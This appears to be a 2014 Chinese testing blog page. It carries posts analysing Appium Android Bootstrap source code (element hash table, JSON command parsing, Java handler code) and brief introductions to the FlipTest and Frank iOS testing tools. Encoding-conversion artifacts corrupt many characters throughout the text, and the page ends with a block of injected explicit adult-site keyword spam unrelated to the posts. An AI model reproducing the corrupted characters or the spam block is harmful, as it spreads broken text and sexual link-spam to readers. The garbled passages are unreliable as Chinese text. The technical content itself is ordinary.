      pc端的WebElement元素和Bootstrap的AndroidElement控件是通過AndroidElement控件的String id進(jìn)行映射關(guān)聯(lián)的
      AndroidElementHash類維護(hù)了一個(gè)以AndroidElement的id為鍵值,以AndroidElement的實(shí)例為value的全局唯一哈希表,pc端想要獲得一個(gè)控件的時(shí)候會(huì)先從這個(gè)哈希表查找,如果沒有了再創(chuàng)建新的AndroidElement控件并加入到該哈希表中,所以該哈希表中維護(hù)的是一個(gè)當(dāng)前已經(jīng)使用過的控件
    相關(guān)文章:
    Appium Android Bootstrap源碼分析之簡(jiǎn)介
     通過上一篇文章Appium Android Bootstrap源碼分析之簡(jiǎn)介》我們對(duì)bootstrap的定義以及其在appium和uiautomator處于一個(gè)什么樣的位置有了一個(gè)初步的了解,那么按照正常的寫書的思路,下一個(gè)章節(jié)應(yīng)該就要去看bootstrap是如何建立socket來獲取數(shù)據(jù)然后怎樣進(jìn)行處理的了。但本人覺得這樣子做并不會(huì)太好,因?yàn)榈綍r(shí)整篇文章會(huì)變得非常的冗長(zhǎng),因?yàn)槟阍诰帉懙倪^程中碰到不認(rèn)識(shí)的類又要跳入進(jìn)去進(jìn)行說明分析。這里我覺得應(yīng)該嘗試吸取著名的《重構(gòu)》這本書的建議:一個(gè)方法的代碼不要寫得太長(zhǎng),不然可讀性會(huì)很差,盡量把其分解成不同的函數(shù)。那我們這里就是用類似的思想,不要嘗試在一個(gè)文章中把所有的事情都做完,而是嘗試先把關(guān)鍵的類給描述清楚,最后才去把這些類通過一個(gè)實(shí)例分析給串起來呈現(xiàn)給讀者,這樣大家就不會(huì)因?yàn)橐粋€(gè)文章太長(zhǎng)影響可讀性而放棄往下學(xué)習(xí)了。
      那么我們這里為什么先說bootstrap對(duì)控件的處理,而非剛才提到的socket相關(guān)的socket服務(wù)器的建立呢?我是這樣子看待的,大家看到本人這篇文章的時(shí)候,很有可能之前已經(jīng)了解過本人針對(duì)uiautomator源碼分析那個(gè)系列的文章了,或者已經(jīng)有uiautomator的相關(guān)知識(shí),所以腦袋里會(huì)比較迫切的想知道究竟appium是怎么運(yùn)用了uiautomator的,那么在appium中于這個(gè)問題最貼切的就是appium在服務(wù)器端是怎么使用了uiautomator的控件的。
      這里我們主要會(huì)分析兩個(gè)類:
      AndroidElement:代表了bootstrap持有的一個(gè)ui界面的控件的類,它擁有一個(gè)UiObject成員對(duì)象和一個(gè)代表其在下面的哈希表的鍵值的String類型成員變量id
      AndroidElementsHash:持有了一個(gè)包含所有bootstrap(也就是appium)曾經(jīng)見到過的(也就是腳本代碼中findElement方法找到過的)控件的哈希表,它的key就是AndroidElement中的id,每當(dāng)appium通過findElement找到一個(gè)新控件這個(gè)id就會(huì)+1,Appium的pc端和bootstrap端都會(huì)持有這個(gè)控件的id鍵值,當(dāng)需要調(diào)用一個(gè)控件的方法時(shí)就需要把代表這個(gè)控件的id鍵值傳過來讓bootstrap可以從這個(gè)哈希表找到對(duì)應(yīng)的控件
      1. AndroidElement和UiObject的組合關(guān)系
      從上面的描述我們可以知道,AndroidElement這個(gè)類里面擁有一個(gè)UiObject這個(gè)變量:
      public class AndroidElement {
      private final UiObject el;
      private String         id;
      ...
      }
      大家都知道UiObject其實(shí)就是UiAutomator里面代表一個(gè)控件的類,通過它就能夠?qū)丶M(jìn)行操作(當(dāng)然最終還是通過UiAutomation框架). AnroidElement就是通過它來跟UiAutomator發(fā)生關(guān)系的。我們可以看到下面的AndroidElement的點(diǎn)擊click方法其實(shí)就是很干脆的調(diào)用了UiObject的click方法:
      public boolean click() throws UiObjectNotFoundException {
      return el.click();
      }
      當(dāng)然這里除了click還有很多控件相關(guān)的操作,比如dragTo,getText,longClick等,但無一例外,都是通過UiObject來實(shí)現(xiàn)的,這里就不一一列舉了。
      2. 腳本的WebElement和Bootstrap的AndroidElement的映射關(guān)系
      我們?cè)谀_本上對(duì)控件的認(rèn)識(shí)就是一個(gè)WebElement:
      WebElement addNote =  driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
      而在Bootstrap中一個(gè)對(duì)象就是一個(gè)AndroidElement. 那么它們是怎么映射到一起的呢?我們其實(shí)可以先看如下的代碼:
      WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
      addNote.getText();
      addNote.click();
      做的事情就是獲得Notes這個(gè)app的菜單,然后調(diào)用控件的getText來獲得‘Add note'控件的文本信息,以及通過控件的click方法來點(diǎn)擊該控件。那么我們看下調(diào)試信息是怎樣的:

    pc端傳過來的json字串有幾個(gè)fields:
      cmd:代表這個(gè)是什么命令類型,其實(shí)就是AndroidCommandType的那兩個(gè)值
      package io.appium.android.bootstrap;
      /**
      * Enumeration for all the command types.
      *
      */
      public enum AndroidCommandType {
      ACTION, SHUTDOWN
      }
      action: 具體命令
      params: 提供的參數(shù),這里提供了一個(gè)elementId的鍵值對(duì)
      從上面的兩條調(diào)試信息看來,其實(shí)沒有明顯的看到究竟使用的是哪個(gè)控件。其實(shí)這里不起眼的elementId就是確定用的是哪個(gè)控件的,注意這個(gè)elementId并不是一個(gè)控件在界面上的資源id,它其實(shí)是Bootstrap維護(hù)的一個(gè)保存所有已經(jīng)獲取過的控件的哈希表的鍵值。如上一小節(jié)看到的,每一個(gè)AndroidElement都有兩個(gè)重要的成員變量:
      UiObject el :uiautomator框架中代表了一個(gè)真實(shí)的窗口控件
      Sting id :  一個(gè)唯一的自動(dòng)增加的字串類型整數(shù),pc端就是通過它來在AndroidElementHash這個(gè)類中找到想要的控件的
      3. AndroidElement控件哈希表
      上一節(jié)我們說到appium pc端是通過id把WebElement和目標(biāo)機(jī)器端的AndroidElement映射起來的,那么我們這一節(jié)就來看下維護(hù)AndroidElement的這個(gè)哈希表是怎么實(shí)現(xiàn)的。
      首先,它擁有兩個(gè)成員變量:
      private final Hashtable<String, AndroidElement> elements;
      private       Integer                           counter;
      elements :一個(gè)以AndroidElement 的id的字串類型為key,以AndroidElement的實(shí)例為value的的哈希表
      counter : 一個(gè)整型變量,有兩個(gè)作用:其一是它代表了當(dāng)前已經(jīng)用到的控件的數(shù)目(其實(shí)也不完全是,你在腳本中對(duì)同一個(gè)控件調(diào)用兩次findElement其實(shí)會(huì)產(chǎn)生兩個(gè)不同id的AndroidElement控件),其二是它代表了一個(gè)新用到的控件的id,而這個(gè)id就是上面的elements哈希表的鍵
      這個(gè)哈希表的鍵值都是從0開始的,請(qǐng)看它的構(gòu)造函數(shù):
      /**
      * Constructor
      */
      public AndroidElementsHash() {
      counter = 0;
      elements = new Hashtable<String, AndroidElement>();
      }
      而它在整個(gè)Bootstrap中是有且只有一個(gè)實(shí)例的,且看它的單例模式實(shí)現(xiàn):
      public static AndroidElementsHash getInstance() {
      if (AndroidElementsHash.instance == null) {
      AndroidElementsHash.instance = new AndroidElementsHash();
      }
      return AndroidElementsHash.instance;
      }
      以下增加一個(gè)控件的方法addElement充分描述了為什么說counter是一個(gè)自增加的key,且是每個(gè)新發(fā)現(xiàn)的AndroidElement控件的id:
      public AndroidElement addElement(final UiObject element) {
      counter++;
      final String key = counter.toString();
      final AndroidElement el = new AndroidElement(key, element);
      elements.put(key, el);
      return el;
      }
      從Appium發(fā)過來的控件查找命令大方向上分兩類:
      1. 直接基于Appium Driver來查找,這種情況下appium發(fā)過來的json命令是不包含控件哈希表的鍵值信息的
      WebElement addNote = driver.findElement(By.name("Add note"));
      2. 基于父控件查找:
      WebElement el = driver.findElement(By.className("android.widget.ListView")).findElement(By.name("Note1"));
      以上的腳本會(huì)先嘗試找到Note1這個(gè)日記的父控件ListView,并把這個(gè)控件保存到控件哈希表,然后再根據(jù)父控件的哈希表鍵值以及子控件的選擇子找到想要的Note1:

    posted @ 2014-12-23 00:26 順其自然EVO 閱讀(2532) | 評(píng)論 (0)編輯 收藏

    Appium Android Bootstrap源碼分析之命令解析執(zhí)行

    通過上一篇文章Appium Android Bootstrap源碼分析之控件AndroidElement》我們知道了Appium從pc端發(fā)送過來的命令如果是控件相關(guān)的話,最終目標(biāo)控件在bootstrap中是以AndroidElement對(duì)象的方式呈現(xiàn)出來的,并且該控件對(duì)象會(huì)在AndroidElementHash維護(hù)的控件哈希表中保存起來。但是appium觸發(fā)一個(gè)命令除了需要提供是否與控件相關(guān)這個(gè)信息外,還需要其他的一些信息,比如,這個(gè)是什么命令?這個(gè)就是我們這篇文章需要討論的話題了。
      下面我們還是先看一下從pc端發(fā)過來的json的格式是怎么樣的:
      可以看到里面除了params指定的是哪一個(gè)控件之外,還指定了另外兩個(gè)信息:
      cmd: 這是一個(gè)action還是一個(gè)shutdown
      action:如果是一個(gè)action的話,那么是什么action
      開始前我們先簡(jiǎn)要描述下我們需要涉及到幾個(gè)關(guān)鍵類:
    1. Appium命令解析器AndroidCommand
      AndroidCommand這個(gè)類真實(shí)的作用其實(shí)就是去把Appium從pc端發(fā)送過來的那串json命令解析出來,它擁有兩個(gè)成員變量:
      JSONObject         json;
      AndroidCommandType cmdType;
      json就是pc過來的json格式的那串命令,cmdType就是action或者shutdown,其實(shí)就是用來把這個(gè)類偽裝成更像個(gè)命令類而已,我認(rèn)為如果不提供這個(gè)成員變量而直接修改其getType的實(shí)現(xiàn)去解析json字串直接獲得對(duì)應(yīng)的AndroidCommandType,然后把這個(gè)類的名字改成AndroidCommandParser得了。
      那么我們往下看下AndroidCommand究竟是怎么對(duì)客戶端命令進(jìn)行解析的,它的方法都很短,所以我把它做成一個(gè)表,這樣比較清晰點(diǎn):
      從表中的這些方法可以看出來,這個(gè)類所做的事情基本上都是怎么去解析appium從pc端過來的那串json字串。

      2. Action與CommandHandler的映射關(guān)系
      從上面描述可以知道,一個(gè)action就是一個(gè)代表該命令的字串,比如‘click’。但是一個(gè)字串是不能去執(zhí)行的啊,所以我們需要有一種方式把它轉(zhuǎn)換成可以執(zhí)行的代碼,這個(gè)就是AndroidCommandExecutor維護(hù)的一個(gè)靜態(tài)HashMap map所做的事情:
    class AndroidCommandExecutor {
    private static HashMap<String, CommandHandler> map = new HashMap<String, CommandHandler>();
    static {
    map.put("waitForIdle", new WaitForIdle());
    map.put("clear", new Clear());
    map.put("orientation", new Orientation());
    map.put("swipe", new Swipe());
    map.put("flick", new Flick());
    map.put("drag", new Drag());
    map.put("pinch", new Pinch());
    map.put("click", new Click());
    map.put("touchLongClick", new TouchLongClick());
    map.put("touchDown", new TouchDown());
    map.put("touchUp", new TouchUp());
    map.put("touchMove", new TouchMove());
    map.put("getText", new GetText());
    map.put("setText", new SetText());
    map.put("getName", new GetName());
    map.put("getAttribute", new GetAttribute());
    map.put("getDeviceSize", new GetDeviceSize());
    map.put("scrollTo", new ScrollTo());
    map.put("find", new Find());
    map.put("getLocation", new GetLocation());
    map.put("getSize", new GetSize());
    map.put("wake", new Wake());
    map.put("pressBack", new PressBack());
    map.put("pressKeyCode", new PressKeyCode());
    map.put("longPressKeyCode", new LongPressKeyCode());
    map.put("takeScreenshot", new TakeScreenshot());
    map.put("updateStrings", new UpdateStrings());
    map.put("getDataDir", new GetDataDir());
    map.put("performMultiPointerGesture", new MultiPointerGesture());
    map.put("openNotification", new OpenNotification());
    map.put("source", new Source());
    map.put("compressedLayoutHierarchy", new CompressedLayoutHierarchy());
    }
      這個(gè)map指定了我們支持的pc端過來的所有action,以及對(duì)應(yīng)的處理該action的類的實(shí)例,其實(shí)這些類都是CommandHandler的子類基本上就只有一個(gè):去實(shí)現(xiàn)CommandHandler的虛擬方法execute!要做的事情就大概就這幾類:
      控件相關(guān)的action:調(diào)用AndroidElement控件的成員變量UiObject el對(duì)應(yīng)的方法來執(zhí)行真實(shí)的操作
      UiDevice相關(guān)的action:調(diào)用UiDevice提供的方法
      UiScrollable相關(guān)的action:調(diào)用UiScrollable提供的方法
      UiAutomator那5個(gè)對(duì)象都沒有的action:該調(diào)用InteractionController的就反射調(diào)用,該調(diào)用QueryController的就反射調(diào)用。注意這兩個(gè)類UiAutomator是沒有提供直接調(diào)用的方法的,所以只能通過反射。更多這兩個(gè)類的信息請(qǐng)翻看之前的UiAutomator源碼分析相關(guān)的文章
      其他:如取得compressedLayoutHierarchy
      指導(dǎo)action向CommandHandler真正發(fā)生轉(zhuǎn)換的地方是在這個(gè)AndroidCommandExecutor的execute方法中:
    public AndroidCommandResult execute(final AndroidCommand command) {
    try {
    Logger.debug("Got command action: " + command.action());
    if (map.containsKey(command.action())) {
    return map.get(command.action()).execute(command);
    } else {
    return new AndroidCommandResult(WDStatus.UNKNOWN_COMMAND,
    "Unknown command: " + command.action());
    }
    } catch (final JSONException e) {
    Logger.error("Could not decode action/params of command");
    return new AndroidCommandResult(WDStatus.JSON_DECODER_ERROR,
    "Could not decode action/params of command, please check format!");
    }
    }
      它首先叫上面的AndroidCommand解析器把json字串的action給解析出來
      然后通過剛提到的map把這個(gè)action對(duì)應(yīng)的CommandHandler的實(shí)現(xiàn)類給實(shí)例化
      然后調(diào)用這個(gè)命令處理類的execute方法開始執(zhí)行命令
      3. 命令處理示例
      我們這里就示例性的看下getText這個(gè)action對(duì)應(yīng)的CommandHandler是怎么去通過AndroidElement控件進(jìn)行設(shè)置文本的處理的:
    public class GetText extends CommandHandler {
    /*
    * @param command The {@link AndroidCommand} used for this handler.
    *
    * @return {@link AndroidCommandResult}
    *
    * @throws JSONException
    *
    * @see io.appium.android.bootstrap.CommandHandler#execute(io.appium.android.
    * bootstrap.AndroidCommand)
    */
    @Override
    public AndroidCommandResult execute(final AndroidCommand command)
    throws JSONException {
    if (command.isElementCommand()) {
    // Only makes sense on an element
    try {
    final AndroidElement el = command.getElement();
    return getSuccessResult(el.getText());
    } catch (final UiObjectNotFoundException e) {
    return new AndroidCommandResult(WDStatus.NO_SUCH_ELEMENT,
    e.getMessage());
    } catch (final Exception e) { // handle NullPointerException
    return getErrorResult("Unknown error");
    }
    } else {
    return getErrorResult("Unable to get text without an element.");
    }
    }
    }
      關(guān)鍵代碼就是里面通過AndroidCommand的getElement方法:
      解析傳進(jìn)來的AndroidCommand實(shí)例保存的pc端過來的json字串,找到’params‘項(xiàng)的子項(xiàng)’elementId'
      通過這個(gè)獲得的id去控件哈希表(請(qǐng)查看《Appium Android Bootstrap源碼分析之控件AndroidElement》)中找到目標(biāo)AndroidElement控件對(duì)象
      然后調(diào)用獲得的AndroidElement控件對(duì)象的getText方法:
      最終通過調(diào)用AndroidElement控件成員UiObject控件對(duì)象的getText方法取得控件文本信息
      4. 小結(jié)
      bootstrap接收到appium從pc端發(fā)送過來的json格式的鍵值對(duì)字串有多個(gè)項(xiàng):
      cmd: 這是一個(gè)action還是一個(gè)shutdown
      action:如果是一個(gè)action的話,那么是什么action,比如click
      params:擁有其他的一些子項(xiàng),比如指定操作控件在AndroidElementHash維護(hù)的控件哈希表的控件鍵值的'elementId'
      在收到這個(gè)json格式命令字串后:
      AndroidCommandExecutor會(huì)調(diào)用AndroidCommand去解析出對(duì)應(yīng)的action
      然后把a(bǔ)ction去map到對(duì)應(yīng)的真實(shí)命令處理方法CommandHandler的實(shí)現(xiàn)子類對(duì)象中
      然后調(diào)用對(duì)應(yīng)的對(duì)象的execute方法來執(zhí)行命令
    相關(guān)文章:
    Appium Android Bootstrap源碼分析之簡(jiǎn)介
    Appium Android Bootstrap之控件AndroidElement

    posted @ 2014-12-23 00:25 順其自然EVO 閱讀(2952) | 評(píng)論 (0)編輯 收藏

    Fliptest—iOS 的應(yīng)用A/B測(cè)試框架

     FlipTest是專為iOS設(shè)計(jì)的移動(dòng)應(yīng)用A/B測(cè)試框架,通過它,開發(fā)者可以無需重新向App Store提交應(yīng)用或重構(gòu)代碼,只需添加一行代碼,即可直接在iOS應(yīng)用上進(jìn)行A/B測(cè)試。對(duì)移動(dòng)應(yīng)用做 A/B 測(cè)試是非常難的,而 FlipTest 可以幫你簡(jiǎn)化這個(gè)過程。
      對(duì)于想要追求UI極致的開發(fā)者而言,F(xiàn)lipTest絕對(duì)是最合適的測(cè)試框架。FlipTest會(huì)為應(yīng)用選擇最恰當(dāng)?shù)挠脩艚缑妫€會(huì)基于外觀、可用性等眾多因素返還測(cè)試結(jié)果,從而幫助開發(fā)者徹底解決UI問題。

    posted @ 2014-12-23 00:22 順其自然EVO 閱讀(3238) | 評(píng)論 (0)編輯 收藏

    iOS功能測(cè)試工具 Frank

      Frank也是一款深受開發(fā)者喜愛的iOS應(yīng)用測(cè)試框架,該框架可以模擬用戶操作對(duì)應(yīng)用程序進(jìn)行黑盒測(cè)試,并使用Cucumber作為自然語言來編寫測(cè)試用例。此外,F(xiàn)rank還會(huì)對(duì)應(yīng)用測(cè)試操作進(jìn)行記錄,以幫助開發(fā)者進(jìn)行測(cè)試回顧。
      一、基本介紹
      Frank是ios開發(fā)環(huán)境下一款實(shí)現(xiàn)自動(dòng)測(cè)試的工具。
      Xcode環(huán)境下開發(fā)完成后,通過Frank實(shí)現(xiàn)結(jié)構(gòu)化的測(cè)試用例,其底層語言為Ruby。作為一款開源的iOS測(cè)試工具,在國(guó)外已經(jīng)有廣泛的應(yīng)用。但是國(guó)內(nèi)相關(guān)資料卻比較少。其最大的優(yōu)點(diǎn)是允許我們用熟悉的自然語言實(shí)現(xiàn)實(shí)際的操作邏輯。
      一般而言,測(cè)試文件由一個(gè).feature文件和一個(gè).rb文件組成。.feature文件包含的是測(cè)試操作的自然語言描述部分,內(nèi)部可以包含多個(gè)測(cè)試用例,以標(biāo)簽(@tagname)的形式唯一標(biāo)識(shí),每個(gè)用例的首行必須有Scenario: some description;.rb文件則是ruby實(shí)現(xiàn)邏輯,通過正則表達(dá)式匹配.feature文件中的每一句自然語言,然后執(zhí)行相應(yīng)的邏輯操作,最終實(shí)現(xiàn)自動(dòng)測(cè)試的目的。
      二、安裝
      1.       Terminal 輸入sudo gem install frank-cucumber,下載并安裝Frank
      2.       Terminal 進(jìn)入工程所在路徑,工程根目錄
      3.       輸入:frank-skeleton,會(huì)在工程根目錄新建Frank文件夾
      4.       返回Xcode界面,右鍵Targets下的APP,選擇復(fù)制,Duplicate only
      5.       雙擊APPname copy,更改副本名,例如 Appname Frankified
      6.       右擊APP,Add Files to Appname……
      7.       勾選副本,其余取消選定。選擇新建的Frank文件夾,Add.
      8.       選擇APP,中間部分Build Phases選項(xiàng)卡,Link Binary With LibrariesàCFNetwork.framework,Add.
      9.       依舊中間部分,選擇Build Settings選項(xiàng)卡,Other Linker Flags,雙擊,添加“-all_load”和“ObjC”
      10.   左上角,Scheme Selector,在RUN和STOP按鈕的右邊,選擇Appname copy-IPHONE
      11.   瀏覽器中打開http://localhost:37265,可以在瀏覽器中看到植入Frank的應(yīng)用
      我在添加了兩個(gè)flag之后老是報(bào)錯(cuò),嘗試了N種方法之后索性全部刪掉,結(jié)果就可以了,無語
      三、基本步驟
      1.       terminal 切換到Frank文件夾所在目錄
      2.       frank launch, 打開simulator,開始運(yùn)行(默認(rèn)是用IPHONE simulator,要用IPAD simulator時(shí),需要如下命令行,添加參數(shù):frank launch --idiom ipad)
      3.       cucumber Frank/features/my_first.feature --tags @tagname (注意tags前面兩個(gè)‘-’)PS:如果沒有tag則自動(dòng)運(yùn)行文件中所有case

    posted @ 2014-12-23 00:22 順其自然EVO 閱讀(3257) | 評(píng)論 (0)編輯 收藏

    僅列出標(biāo)題
    共394頁: 1 2 3 4 5 6 7 8 9 下一頁 Last 
    <2025年5月>
    27282930123
    45678910
    11121314151617
    18192021222324
    25262728293031
    1234567

    導(dǎo)航

    統(tǒng)計(jì)

    常用鏈接

    留言簿(55)

    隨筆分類

    隨筆檔案

    文章分類

    文章檔案

    搜索

    最新評(píng)論

    閱讀排行榜

    評(píng)論排行榜

    主站蜘蛛池模板: 一级做性色a爰片久久毛片免费| 亚洲AV午夜福利精品一区二区 | 亚洲剧场午夜在线观看| 黄瓜视频影院在线观看免费| 亚洲成AV人在线播放无码| 99久久免费国产精品特黄| 黄床大片30分钟免费看| 337p日本欧洲亚洲大胆精品555588| 成人爽a毛片免费| 亚洲情A成黄在线观看动漫软件 | 亚洲国产人成网站在线电影动漫 | 亚洲AV色吊丝无码| 亚洲性线免费观看视频成熟| 亚洲区日韩精品中文字幕| 全免费一级午夜毛片| 亚洲欧美日韩久久精品| 亚洲精品一品区二品区三品区| 亚洲免费在线观看| avtt天堂网手机版亚洲| 亚洲免费综合色在线视频| 9久热这里只有精品免费| 国产精品久久亚洲不卡动漫| 国产亚洲精品国产| 国产成人免费a在线资源| 亚欧色视频在线观看免费| caoporn成人免费公开| 亚洲欧美日韩中文无线码| 91久久亚洲国产成人精品性色 | 18国产精品白浆在线观看免费| 亚洲五月丁香综合视频| 久久电影网午夜鲁丝片免费| a毛片久久免费观看| 精品日韩亚洲AV无码| 成人免费激情视频| 免费看搞黄视频网站| 一区二区视频免费观看| 亚洲av成本人无码网站| 亚洲成人高清在线观看| 久久精品亚洲日本佐佐木明希| 国产成人精品免费午夜app| 国产无遮挡无码视频免费软件|